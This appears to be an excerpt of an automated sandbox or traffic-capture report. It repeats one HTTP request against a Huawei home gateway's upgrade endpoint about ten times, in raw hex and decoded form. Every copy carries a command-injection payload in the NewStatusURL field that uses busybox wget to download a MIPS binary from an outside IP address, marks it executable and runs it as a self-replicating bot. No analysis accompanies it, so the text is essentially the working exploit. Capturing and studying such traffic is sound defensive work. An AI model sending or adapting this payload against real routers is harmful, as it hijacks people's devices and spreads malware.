64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 